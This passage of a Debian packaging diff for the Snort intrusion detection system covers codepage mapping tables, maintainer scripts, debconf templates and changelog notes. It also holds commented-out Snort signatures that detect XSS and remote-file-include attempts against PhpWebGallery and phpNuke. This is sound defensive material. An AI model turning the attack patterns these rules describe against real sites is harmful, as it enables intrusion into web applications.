20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:70 2119:50 211a:51 211b:52 211c:52 211d:52 2122:74 2124:5a 2128:5a 212a:4b 212b:41 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2205:4f 2212:5f 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 22c5:07 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 3000:20 3007:4f 3008:3c 3009:3e 301a:5b 301b:5d 30fb:07 
+
+865   (OEM - Nordic)
+00a2:63 00a5:59 00a7:15 00a8:22 00a9:63 00ad:5f 00ae:72 00af:16 00b3:33 00b4:2f 00b6:14 00b8:2c 00b9:31 00bb:3e 00be:33 00c0:41 00c1:41 00c2:41 00c3:41 00c8:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d7:58 00d9:55 00da:55 00db:55 00dd:59 00de:54 00e3:61 00f0:64 00f5:6f 00fd:79 00fe:74 0100:41 0101:61 0102:41 0103:61 0104:41 0105:61 0106:43 0107:63 0108:43 0109:63 010a:43 010b:63 010c:43 010d:63 010e:44 010f:64 0110:44 0111:64 0112:45 0113:65 0114:45 0115:65 0116:45 0117:65 0118:45 0119:65 011a:45 011b:65 011c:47 011d:67 011e:47 011f:67 0120:47 0121:67 0122:47 0123:67 0124:48 0125:68 0126:48 0127:68 0128:49 0129:69 012a:49 012b:69 012c:49 012d:69 012e:49 012f:69 0130:49 0131:69 0134:4a 0135:6a 0136:4b 0137:6b 0139:4c 013a:6c 013b:4c 013c:6c 013d:4c 013e:6c 0141:4c 0142:6c 0143:4e 0144:6e 0145:4e 0146:6e 0147:4e 0148:6e 014c:4f 014d:6f 014e:4f 014f:6f 0150:4f 0151:6f 0152:4f 0153:6f 0154:52 0155:72 0156:52 0157:72 0158:52 0159:72 015a:53 015b:73 015c:53 015d:73 015e:53 015f:73 0160:53 0161:73 0162:54 0163:74 0164:54 0165:74 0166:54 0167:74 0168:55 0169:75 016a:55 016b:75 016c:55 016d:75 016e:55 016f:75 0170:55 0171:75 0172:55 0173:75 0174:57 0175:77 0176:59 0177:79 0178:59 0179:5a 017b:5a 017c:7a 017d:5a 017e:7a 0180:62 0189:44 0197:49 019a:6c 019f:4f 01a0:4f 01a1:6f 01ab:74 01ae:54 01af:55 01b0:75 01b6:7a 01c3:21 01cd:41 01ce:61 01cf:49 01d0:69 01d1:4f 01d2:6f 01d3:55 01d4:75 01d5:55 01d6:75 01d7:55 01d8:75 01d9:55 01da:75 01db:55 01dc:75 01de:41 01df:61 01e4:47 01e5:67 01e6:47 01e7:67 01e8:4b 01e9:6b 01ea:4f 01eb:6f 01ec:4f 01ed:6f 01f0:6a 0261:67 02b9:27 02ba:22 02bc:27 02c4:5e 02c6:5e 02c8:27 02c9:16 02ca:2f 02cb:60 02cd:5f 02dc:7e 0300:60 0301:2f 0302:5e 0303:7e 0304:16 0305:16 0308:22 030e:22 0327:2c 0331:5f 0332:5f 037e:3b 04bb:68 0589:3a 066a:25 2000:20 2001:20 2002:20 2003:20 2004:20 2005:20 2006:20 2010:2d 2011:2d 2013:2d 2014:2d 2017:5f 2018:27 2019:27 201a:27 201c:22 201d:22 201e:22 2022:07 2024:07 2026:07 2030:25 2032:27 2035:27 2039:3c 203a:3e 203c:13 2044:2f 2070:30 2074:34 2075:35 2076:36 2077:37 2078:38 2080:30 2081:31 2083:33 2084:34 2085:35 2086:36 2087:37 2088:38 2089:39 20dd:4f 2102:43 2107:45 210a:67 210b:48 210c:48 210d:48 210e:68 2110:49 2111:49 2112:4c 2113:6c 2115:4e 2118:70 2119:50 211a:51 211b:52 211c:52 211d:52 2122:74 2124:5a 2128:5a 212a:4b 212c:42 212d:43 212e:65 212f:65 2130:45 2131:46 2133:4d 2134:6f 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 2205:4f 2212:5f 2215:2f 2216:5c 2217:2a 221f:1c 2223:7c 2236:3a 223c:7e 226b:3c 22c5:07 2302:7f 2303:5e 2329:3c 232a:3e 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e 3000:20 3007:4f 3008:3c 3009:3e 300b:3e 301a:5b 301b:5d 30fb:07 
+
+874   (ANSI/OEM - Thai)
+00a7:15 00b6:14 203c:13 2190:1b 2191:18 2192:1a 2193:19 2194:1d 2195:12 21a8:17 221f:1c 2302:7f 25ac:16 25b2:1e 25ba:10 25bc:1f 25c4:11 25cb:09 25d8:08 25d9:0a 263a:01 263b:02 263c:0f 2640:0c 2642:0b 2660:06 2663:05 2665:03 2666:04 266a:0d 266b:0e ff01:21 ff02:22 ff03:23 ff04:24 ff05:25 ff06:26 ff07:27 ff08:28 ff09:29 ff0a:2a ff0b:2b ff0c:2c ff0d:2d ff0e:2e ff0f:2f ff10:30 ff11:31 ff12:32 ff13:33 ff14:34 ff15:35 ff16:36 ff17:37 ff18:38 ff19:39 ff1a:3a ff1b:3b ff1c:3c ff1d:3d ff1e:3e ff20:40 ff21:41 ff22:42 ff23:43 ff24:44 ff25:45 ff26:46 ff27:47 ff28:48 ff29:49 ff2a:4a ff2b:4b ff2c:4c ff2d:4d ff2e:4e ff2f:4f ff30:50 ff31:51 ff32:52 ff33:53 ff34:54 ff35:55 ff36:56 ff37:57 ff38:58 ff39:59 ff3a:5a ff3b:5b ff3c:5c ff3d:5d ff3e:5e ff3f:5f ff40:60 ff41:61 ff42:62 ff43:63 ff44:64 ff45:65 ff46:66 ff47:67 ff48:68 ff49:69 ff4a:6a ff4b:6b ff4c:6c ff4d:6d ff4e:6e ff4f:6f ff50:70 ff51:71 ff52:72 ff53:73 ff54:74 ff55:75 ff56:76 ff57:77 ff58:78 ff59:79 ff5a:7a ff5b:7b ff5c:7c ff5d:7d ff5e:7e 
+
+932   (ANSI/OEM - Japanese Shift-JIS)
+00a1:21 00a5:5c 00a6:7c 00a9:63 00aa:61 00ad:2d 00ae:52 00b2:32 00b3:33 00b9:31 00ba:6f 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c6:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00de:54 00df:73 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e6:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f0:64 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00fe:74 00ff:79 
+
+936   (ANSI/OEM - Simplified Chinese GBK)
+00a6:7c 00aa:61 00ad:2d 00b2:32 00b3:33 00b9:31 00ba:6f 00d0:44 00dd:59 00de:54 00e2:61 00f0:65 00fd:79 00fe:74 
+
+949   (ANSI/OEM - Korean)
+00a6:7c 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00ff:79 20a9:5c 
+
+950   (ANSI/OEM - Traditional Chinese Big5)
+00a1:21 00a6:7c 00a9:63 00aa:61 00ad:2d 00ae:52 00b2:32 00b3:33 00b9:31 00ba:6f 00c0:41 00c1:41 00c2:41 00c3:41 00c4:41 00c5:41 00c6:41 00c7:43 00c8:45 00c9:45 00ca:45 00cb:45 00cc:49 00cd:49 00ce:49 00cf:49 00d0:44 00d1:4e 00d2:4f 00d3:4f 00d4:4f 00d5:4f 00d6:4f 00d8:4f 00d9:55 00da:55 00db:55 00dc:55 00dd:59 00de:54 00df:73 00e0:61 00e1:61 00e2:61 00e3:61 00e4:61 00e5:61 00e6:61 00e7:63 00e8:65 00e9:65 00ea:65 00eb:65 00ec:69 00ed:69 00ee:69 00ef:69 00f0:65 00f1:6e 00f2:6f 00f3:6f 00f4:6f 00f5:6f 00f6:6f 00f8:6f 00f9:75 00fa:75 00fb:75 00fc:75 00fd:79 00fe:74 00ff:79 
+
+65000 (UTF-7)
+
+
+65001 (UTF-8)
+
+
--- snort-2.8.5.2.orig/rules/community-deleted.rules
+++ snort-2.8.5.2/rules/community-deleted.rules
@@ -0,0 +1,7 @@
+# Copyright 2006 Sourcefire, Inc. All Rights Reserved.  # These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-deleted.rules,v 1.3 2006/12/05 20:32:48 akirk Exp $
+
+#alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY DELETED PhpWebGallery XSS attempt"; content:"GET"; nocase; depth:3; uricontent:"comments.php"; nocase; uricontent:"keyword="; nocase; classtype:web-application-attack; sid:100000819; rev:2;)
+#alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY DELETED PhpWebGallery XSS attempt"; content:"GET"; nocase; depth:3; uricontent:"comments"; nocase; uricontent:"|2E|php"; nocase; uricontent:"|3F|keyword"; nocase; reference:bugtraq,18798; classtype:web-application-attack; sid:100000848; rev:2;)
+#alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY DELETED phpNuke admin_ug_auth.php remote file include"; flow:to_server,established; uricontent:"/modules/Forums/admin/admin_ug_auth.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18186; classtype:web-application-attack; sid:100000381; rev:3;)
--- snort-2.8.5.2.orig/debian/snort.preinst
+++ snort-2.8.5.2/debian/snort.preinst
@@ -0,0 +1,114 @@
+#!/bin/sh
+
+set -e
+
+# summary of how this script can be called:
+#        * <new-preinst> `install'
+#        * <new-preinst> `install' <old-version>
+#        * <new-preinst> `upgrade' <old-version>
+#        * <old-preinst> `abort-upgrade' <new-version>
+
+DEFAULT=/etc/default/snort
+PARAMETERS=/etc/snort/snort.common.parameters
+
+# Initialise variables
+SNORTUSER=""
+SNORTGROUP=""
+LOGDIR=""
+
+check_parameters() {
+# Check if the old parameters file is there and this is
+# an upgrade (default is not)
+	# Abort if either the old parameters file does not exist
+	# or if the new default has already been installed
+	[ ! -r "$PARAMETERS" ] && return 
+	[ -r "$DEFAULT" ] && return 
+	
+	# Extract our values from there
+	logdir=`cat $PARAMETERS | perl -ne 'print $1 if /-l\s+([\w\/]+)/'`
+	user_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-u\s+(\w+)/'`
+	group_snort=`cat $PARAMETERS | perl -ne 'print $1 if /-g\s+(\w+)/'`
+	extraparms=`cat $PARAMETERS  | sed -e 's/-l[[:space:]]\+[\/[:alnum:]]\+[[:space:]]\+//g; s/-u[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g; s/-g[[:space:]]\+[[:alnum:]]\+[[:space:]]*//g;'`
+	echo "Creating new $DEFAULT configuration based on $PARAMETERS"
+	cat <<EOF >$DEFAULT
+# Parameters for the daemon
+PARAMS="$extraparms"
+# Logging directory
+LOGDIR="$logdir"
+# Snort user
+SNORTUSER="$user_snort"
+# Snort group
+SNORTGROUP="$group_snort"
+EOF
+	return
+}
+
+case "$1" in
+    install|upgrade)
+
+	check_parameters
+	[ -r "$DEFAULT" ] && . $DEFAULT
+	# Sane defaults, just in case
+	[ -z "$SNORTUSER" ] && SNORTUSER=snort
+	[ -z "$SNORTGROUP" ] && SNORTGROUP=snort
+	[ -z "$LOGDIR" ] && LOGDIR=/var/log/snort
+
+	# create snort user to avoid running snort as root
+	# 1. create group if not existing
+	if ! getent group | grep -q "^$SNORTGROUP:" ; then
+		addgroup --quiet --system $SNORTGROUP 2>/dev/null || true
+	fi
+	# 2. create homedir if not existing
+	test -d $LOGDIR || mkdir $LOGDIR
+	# 3. create user if not existing
+	if ! getent passwd | grep -q "^$SNORTUSER:"; then
+	adduser --quiet \
+	        --system \
+		--ingroup $SNORTGROUP \
+		--no-create-home \
+		--disabled-password \
+		$SNORTUSER 2>/dev/null || true
+	fi
+	# 4. adjust passwd entry
+	usermod -c "Snort IDS" \
+		-d $LOGDIR \
+		-g $SNORTGROUP \
+		$SNORTUSER
+	# 5. adjust file and directory permissions
+	if ! dpkg-statoverride --list $LOGDIR >/dev/null
+	then
+		chown -R $SNORTUSER:adm $LOGDIR
+		chmod u=rwx,g=rxs,o= $LOGDIR
+	fi
+		
+	# setup /etc/snort
+	test -d /etc/snort || mkdir /etc/snort
+
+	# move config file to new location
+	if [ -e /etc/snort.conf ]; then
+	    mv /etc/snort.conf /etc/snort/snort.conf
+	fi
+
+	# rename probably existing cron job with old name
+	if [ -e /etc/cron.daily/snort ]; then
+	    mv /etc/cron.daily/snort /etc/cron.daily/5snort
+	fi
+
+
+    ;;
+    configure)
+    ;;
+    abort-upgrade)
+    ;;
+    *)
+        echo "preinst called with unknown argument \`$1'" >&2
+        exit 0
+    ;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/snort-mysql.dirs
+++ snort-2.8.5.2/debian/snort-mysql.dirs
@@ -0,0 +1,11 @@
+etc/cron.daily
+etc/init.d
+etc/logrotate.d
+etc/default
+etc/ppp/ip-down.d
+etc/ppp/ip-up.d
+etc/snort
+usr/sbin
+usr/share/doc/snort
+usr/share/man/man8
+var/log/snort
--- snort-2.8.5.2.orig/debian/snort-inline.default
+++ snort-2.8.5.2/debian/snort-inline.default
@@ -0,0 +1,25 @@
+# Parameters for the daemon
+# Add any additional parameteres here.
+PARAMS="-m 027 -D -d "
+#
+# Snort user
+# This user will be used to launch snort. Notice that the 
+# preinst script of the package might do changes to the user 
+# (home directory, User Name) when the package is upgraded or
+# reinstalled.  So, do *not* change this to 'root' or to any other user 
+# unless you are sure there is no problem with those changes being introduced.
+# 
+SNORTUSER="snort"
+#
+# Logging directory
+# Snort logs will be dropped here and this will be the home
+# directory for the SNORTUSER. If you change this value you should
+# change the /etc/logrotate.d/snort definition too, otherwise logs
+# will not be rotated properly.
+#
+LOGDIR="/var/log/snort"
+#
+# Snort group
+# This is the group that the snort user will be added to.
+#
+SNORTGROUP="snort"
--- snort-2.8.5.2.orig/debian/snort-inline.prerm
+++ snort-2.8.5.2/debian/snort-inline.prerm
@@ -0,0 +1,52 @@
+#! /bin/sh
+# prerm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <prerm> `remove'
+#        * <old-prerm> `upgrade' <new-version>
+#        * <new-prerm> `failed-upgrade' <old-version>
+#        * <conflictor's-prerm> `remove' `in-favour' <package> <new-version>
+#        * <deconfigured's-prerm> `deconfigure' `in-favour'
+#          <package-being-installed> <version> `removing'
+#          <conflicting-package> <version>
+# for details, see /usr/doc/packaging-manual/
+
+case "$1" in
+    remove|upgrade|deconfigure)
+	if [ -x "`which invoke-rc.d 2>/dev/null`" ]; then
+		invoke-rc.d snort stop || exit $?
+	else
+		/etc/init.d/snort stop || exit $?
+	fi
+	;;
+    failed-upgrade)
+	;;
+    *)
+	echo "prerm called with unknown argument \`$1'" >&2
+	exit 0
+	;;
+esac
+
+# no matter if dialup, manual or boot modus!
+#if [ -x /usr/sbin/invoke-rc.d ]; then
+#	invoke-rc.d snort stop || true
+#else
+#	/etc/init.d/snort stop || true
+#fi
+# this used to be done with /etc/init.d/snort.
+# Older versions of snort just kill every process with 'snort' in the
+# name, so also 'snort.prerm'. This fixes that. 
+ps cax | grep ' snort$' | awk '{print $1}' |
+	xargs --no-run-if-empty kill -s KILL >/dev/null
+rm -f /var/run/snort_*.pid
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+exit 0
--- snort-2.8.5.2.orig/debian/NEWS
+++ snort-2.8.5.2/debian/NEWS
@@ -0,0 +1,46 @@
+snort (2.7.0-15) unstable; urgency=low
+
+  The Database schema changed in Snort from 2.6 to the 2.7 release,
+  if you are upgrading from an older release please see the document
+  README-database-upgrade.Debian (available in the Snort documentation
+  directory /usr/share/doc/snort-{mysql,pgsql}) and take the appropriate 
+  steps to update your Database schema.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Thu, 01 May 2008 22:38:46 +0200
+
+snort (2.7.0-1) unstable; urgency=low
+
+  Sourcefire changed the license of the IDS ruleset in 2.4 introducing the "VRT
+  Certified rules" ruleset which is the official ruleset for Snort. This
+  ruleset, however, is provided only through a non-free license which prohibits
+  redistribution within this package.
+
+  As a consequence this package provides only free (GPL) rules. No rule 
+  with a sid in the 3,465-1,000,000 range (VRT Certified) is included here.
+  The rules provided on this package are based on the official ruleset for
+  Snort 2.4 (updated 7/27/05) and the Community ruleset.
+
+  Certified rules download require users either to pay (if they want the latest
+  rules) or register (for rules provided with a 30-delay period). Users
+  whishing to go this way can use the 'oinkmaster' package to auomatically
+  update their rulesets once they have registered at snort.org's site.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@debian.org>  Tue, 31 Jul 2007 23:42:44 +0200
+
+snort (2.3.2-1) unstable; urgency=medium
+
+  * In Snort version 2.3.0 and later the preferred configuration method
+    uses /etc/default/snort rather than /etc/snort/snort.common.parameters.
+    The new approach makes it possible to introduce improvements in the
+    init.d script, such as sanity checks for common misconfigurations.
+
+  * Upgrading automatically generates the file /etc/default/snort
+    from /etc/snort/snort.common.parameters. 
+
+  * Since the automatically generated file may not be correct, you should 
+    inspect it or create a new one to your liking.  If the configuration
+    file is correct, delete /etc/snort/snort.common.parameters and restart
+    the server to use the new file. The system will run Snort with the old
+    configuration file until you do so.
+
+ -- Javier Fernandez-Sanguino Pen~a <jfs@computer.org>  Tue,  8 Feb 2005 23:55:57 +0100
--- snort-2.8.5.2.orig/debian/snort-stat.8
+++ snort-2.8.5.2/debian/snort-stat.8
@@ -0,0 +1,21 @@
+.Dd January 3, 1999
+.Dt SNORT-STAT 8
+.Os Gnu/Linux
+.Sh NAME
+.Nm snort-stat
+.Nd generates statistic of scans detected by snort
+.Sh SYNOPSIS
+.Nm cat /var/log/auth.log | /usr/sbin/snort-stat 
+.Sh DESCRIPTION
+.Nm snort-stat
+is a small script that generates a nice statistic on the port scans that
+were detected by snort and reported via /var/log/snort/alert.log.
+The output of this script is mailed to a user that is setup in 
+/etc/snort/snort.debian.conf.
+The cron script /etc/cron.daily/5snort uses this script.
+.Sh SEE ALSO
+.Xr snort 8
+.Sh AUTHORS
+The script is mostly based on the snort-stat from Yen-Ming Chen <chenym+@CMU.EDU>.
+The hostname resolving, the big shrinkage and this manpage were done by 
+Christian Hammers <ch@debian.org>.
--- snort-2.8.5.2.orig/debian/snort-pgsql.templates
+++ snort-2.8.5.2/debian/snort-pgsql.templates
@@ -0,0 +1,172 @@
+Template: snort-pgsql/startup
+Type: select
+__Choices: boot, dialup, manual
+Default: boot
+_Description: Snort start method:
+ Snort can be started during boot, when connecting to the net with pppd or
+ only manually with the /usr/sbin/snort command.
+
+Template: snort-pgsql/interface
+Type: string
+Default: eth0
+_Description: Interface(s) which Snort should listen on:
+ This value is usually 'eth0', but this may be inappropriate in some
+ network environments; for a dialup connection 'ppp0' might be more
+ appropiate (see the output of '/sbin/ifconfig').
+ .
+ Typically, this is the same interface as the 'default route' is on. You can
+ determine which interface is used for this by running '/sbin/route -n'
+ (look for '0.0.0.0').
+ .
+ It is also not uncommon to use an interface with no IP address
+ configured in promiscuous mode. For such cases, select the
+ interface in this system that is physically connected to the network
+ that should be inspected, enable promiscuous mode later on and make sure
+ that the network traffic is sent to this interface (either connected
+ to a 'port mirroring/spanning' port in a switch, to a hub or to a tap).
+ .
+ You can configure multiple interfaces, just by adding more than
+ one interface name separated by spaces. Each interface can have its
+ own specific configuration.
+
+Template: snort-pgsql/address_range
+Type: string
+Default: 192.168.0.0/16
+_Description: Address range for the local network:
+ Please use the CIDR form - for example, 192.168.1.0/24 for a block of
+ 256 addresses or 192.168.1.42/32 for just one. Multiple values should
+ be comma-separated (without spaces).
+ .
+ Please note that if Snort is configured to use multiple interfaces,
+ it will use this value as the HOME_NET definition for all of them.
+
+Template: snort-pgsql/disable_promiscuous
+Type: boolean
+Default: false
+_Description: Should Snort disable promiscuous mode on the interface?
+ Disabling promiscuous mode means that Snort will only see packets
+ addressed to the interface it is monitoring. Enabling it allows Snort to
+ check every packet that passes the Ethernet segment even if it's a
+ connection between two other computers.
+
+
+Template: snort-pgsql/invalid_interface
+Type: error
+_Description: Invalid interface
+ Snort is trying to use an interface which does not exist or is down.
+ Either it is defaulting inappropriately to 'eth0', or you specified
+ one which is invalid.
+
+Template: snort-pgsql/send_stats
+Type: boolean
+Default: true
+_Description: Should daily summaries be sent by e-mail?
+ A cron job can be set up to send daily summaries of Snort logs to a
+ selected e-mail address.
+ .
+ Please choose whether you want to activate this feature.
+
+Template: snort-pgsql/stats_rcpt
+Type: string
+Default: root
+_Description: Recipient of daily statistics mails:
+ Please specify the e-mail address that should receive daily summaries
+ of Snort logs.
+
+Template: snort-pgsql/options
+Type: string
+_Description: Additional custom options:
+ Please specify any additional options Snort should use.
+
+Template: snort-pgsql/stats_treshold
+Type: string
+Default: 1
+_Description: Minimum occurrences before alerts are reported:
+ Please enter the minimum number of alert occurrences before a given alert is
+ included in the daily statistics.
+
+Template: snort-pgsql/please_restart_manually
+Type: note
+_Description: Snort restart required
+ As Snort is manually launched, you need to run '/etc/init.d/snort' for
+ the changes to take place.
+
+Template: snort-pgsql/config_error
+Type: error
+_Description: Configuration error
+ The current Snort configuration is invalid and will prevent Snort
+ starting up normally. Please review and correct it.
+ .
+ To diagnose an error in a Snort configuration file, use
+ '/usr/sbin/snort -T -c <file>'.
+
+Template: snort-pgsql/config_parameters
+Type: error
+_Description: Obsolete configuration file
+ This system uses an obsolete configuration file
+ (/etc/snort/snort.common.parameters)
+ which has been automatically converted into the new configuration
+ file format (at /etc/default/snort).
+ .
+ Please review the new configuration and remove the obsolete
+ one. Until you do this, the initialization script will not use the new
+ configuration and you will not take advantage of the benefits
+ introduced in newer releases.
+
+Template: snort-pgsql/configure_db
+Type: boolean
+Default: true
+_Description: Set up a database for snort-pgsql to log to?
+ No database has been set up for Snort to log to. Before continuing,
+ you should make sure you have:
+ .
+  - the server host name (that server must allow TCP connections
+    from this machine);
+  - a database on that server;
+  - a username and password to access the database.
+ .
+ If some of these requirements are missing, reject this option and
+ run with regular file logging support.
+ .
+ Database logging can be reconfigured later by running
+ 'dpkg-reconfigure -plow snort-pgsql'.
+
+Template: snort-pgsql/db_host
+Type: string
+_Description: Database server hostname:
+ Please specify the host name of a database server that allows
+ incoming connections from this host.
+
+Template: snort-pgsql/db_database
+Type: string
+_Description: Database name:
+ Please specify the name of an existing database to which the
+ database user has write access.
+
+Template: snort-pgsql/db_user
+Type: string
+_Description: Username for database access:
+ Please specify a database server username with write access to the database.
+
+Template: snort-pgsql/db_pass
+Type: password
+_Description: Password for the database connection:
+ Please enter the password to use to connect to the Snort Alert database.
+
+
+Template: snort-pgsql/needs_db_config
+Type: note
+_Description: Configured database mandatory for Snort
+ Snort needs a configured database before it can successfully start up.
+ In order to create the structure you need to run the following commands
+ AFTER the package is installed:
+ .
+  cd /usr/share/doc/snort-pgsql/
+  zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>
+ .
+ Fill in the correct values for the user, host, and database names.
+ PostgreSQL will prompt you for the password.
+ .
+ After you have created the database structure, you will need to start Snort
+ manually.
+
--- snort-2.8.5.2.orig/debian/snort-inline.debian.conf
+++ snort-2.8.5.2/debian/snort-inline.debian.conf
@@ -0,0 +1,12 @@
+# This file is used for options that are changed by Debian to leave
+# the original lib files untouched.
+# You have to use "dpkg-reconfigure snort(-flavour)?" to change them.
+#
+# Replace (-flavour)? by pgsql, mysql or keep it empty depending on
+# what flavour of Snort you run.
+#
+DEBIAN_SNORT_STARTUP=boot
+DEBIAN_SNORT_HOME_NET="192.168.0.0/16"
+DEBIAN_SNORT_OPTIONS="-i eth0"
+DEBIAN_SNORT_STATS_RCPT="root"
+DEBIAN_SNORT_STATS_THRESHOLD="1"
--- snort-2.8.5.2.orig/debian/snort-pgsql.dirs
+++ snort-2.8.5.2/debian/snort-pgsql.dirs
@@ -0,0 +1,11 @@
+etc/cron.daily
+etc/init.d
+etc/logrotate.d
+etc/default
+etc/ppp/ip-down.d
+etc/ppp/ip-up.d
+etc/snort
+usr/sbin
+usr/share/doc/snort
+usr/share/man/man8
+var/log/snort
--- snort-2.8.5.2.orig/debian/snort-mysql.postrm
+++ snort-2.8.5.2/debian/snort-mysql.postrm
@@ -0,0 +1,66 @@
+#! /bin/sh
+# postrm script for snort
+#
+# see: dh_installdeb(1)
+
+set -e
+
+# summary of how this script can be called:
+#        * <postrm> `remove'
+#        * <postrm> `purge'
+#        * <old-postrm> `upgrade' <new-version>
+#        * <new-postrm> `failed-upgrade' <old-version>
+#        * <new-postrm> `abort-install'
+#        * <new-postrm> `abort-install' <old-version>
+#        * <new-postrm> `abort-upgrade' <old-version>
+#        * <disappearer's-postrm> `disappear' <r>overwrit>r> <new-version>
+# for details, see /usr/doc/packaging-manual/
+
+# TODO : Should use /etc/default/snort definitions?
+
+case "$1" in
+       purge|disappear)
+       		# Remove logfiles
+		rm -rf /var/log/snort/
+		
+		# Remove configuration
+		if [ -e /etc/snort/snort.debian.conf ] ; then
+			rm /etc/snort/snort.debian.conf
+		fi
+		if [ -e /etc/snort/snort.common.parameters ] ; then
+			rm /etc/snort/snort.common.parameters
+		fi
+		if [ -e /etc/default/snort ] ; then
+			rm /etc/default/snort
+		fi
+		if [ -e /etc/snort/db-pending-config ] ; then
+			rm /etc/snort/db-pending-config
+		fi
+
+		# Remove configuration dir
+		[ -d /etc/snort ] && rmdir --ignore-fail-on-non-empty /etc/snort
+		
+		# Remove init.d
+		update-rc.d -f snort remove >/dev/null
+
+		# Remove user/group
+		if ! getent passwd | grep -q "^snort:"; then
+			userdel snort 2>/dev/null || true
+		fi
+		if ! getent group | grep -q "^snort:" ; then
+			delgroup --only-if-empty snort 2>/dev/null || true
+		fi
+		;;
+       remove|upgrade|failed-upgrade|abort-install|abort-upgrade)
+		# nothing
+		# We may not delete the user snort, as there may be
+		# files owned by it in /var/log/snort and /etc/snort.
+        	;;
+esac
+
+# dh_installdeb will replace this with shell code automatically
+# generated by other debhelper scripts.
+
+#DEBHELPER#
+
+
--- snort-2.8.5.2.orig/debian/snort-doc.doc-base.paper
+++ snort-2.8.5.2/debian/snort-doc.doc-base.paper
@@ -0,0 +1,16 @@
+Document: snort-paper
+Title: Snort - Lightweight Intrusion Detection for Networks
+Author: Martin Roesch
+Abstract: An overview of Snort NIDS
+ Network intrusion detection systems (NIDS) are an important part of any
+ network security architecture.  They provide a layer of defense which
+ monitors network traffic for predefined suspicious activity or patterns, and
+ alert system administrators when potential hostile traffic is detected.
+ Commercial NIDS have many differences, but Information Systems departments
+ must face the commonalities that they share such as significant system
+ footprint, complex deployment and high monetary cost.  Snort was designed to
+ address these issues.
+Section: Network/Monitoring
+
+Format: text
+Files: /usr/share/doc/snort-doc/lisapaper.txt.gz
--- snort-2.8.5.2.orig/debian/snort-pgsql.docs
+++ snort-2.8.5.2/debian/snort-pgsql.docs
@@ -0,0 +1,14 @@
+doc/AUTHORS
+doc/BUGS
+doc/CREDITS
+doc/NEWS
+doc/README
+doc/README.FLEXRESP
+doc/README.PLUGINS
+doc/USAGE
+doc/README.database
+doc/README.csv
+debian/my/snort_rules.html
+debian/README.Maintainer
+debian/README-database.Debian
+debian/README-database-upgrade.Debian
--- snort-2.8.5.2.orig/debian/rules
+++ snort-2.8.5.2/debian/rules
@@ -0,0 +1,316 @@
+#!/usr/bin/make -f
+#-*- makefile -*-
+# Made with the aid of dh_make, by Craig Small
+# Sample debian/rules that uses debhelper. GNU copyright 1997 by Joey Hess.
+# Some lines taken from debmake, by Christoph Lameter.
+
+export DH_VERBOSE=1
+
+TMP=`pwd`/debian
+
+CFLAGS:=-g -O2 -D_GNU_SOURCE
+
+ifneq (,$(findstring debug,$(DEB_BUILD_OPTIONS)))
+	CFLAGS += -g
+endif
+ifeq (,$(findstring nostrip,$(DEB_BUILD_OPTIONS)))
+	INSTALL_PROGRAM += -s
+endif
+
+export CFLAGS
+
+CONFFLAGS= --prefix=/usr \
+	--bindir=\$$\{exec_prefix\}/sbin \
+	--mandir=\$$\{exec_prefix\}/share/man \
+	--enable-smbalerts \
+        --enable-prelude 
+# Cannot enable flexresp since it builds only with libnet 1.0.2a
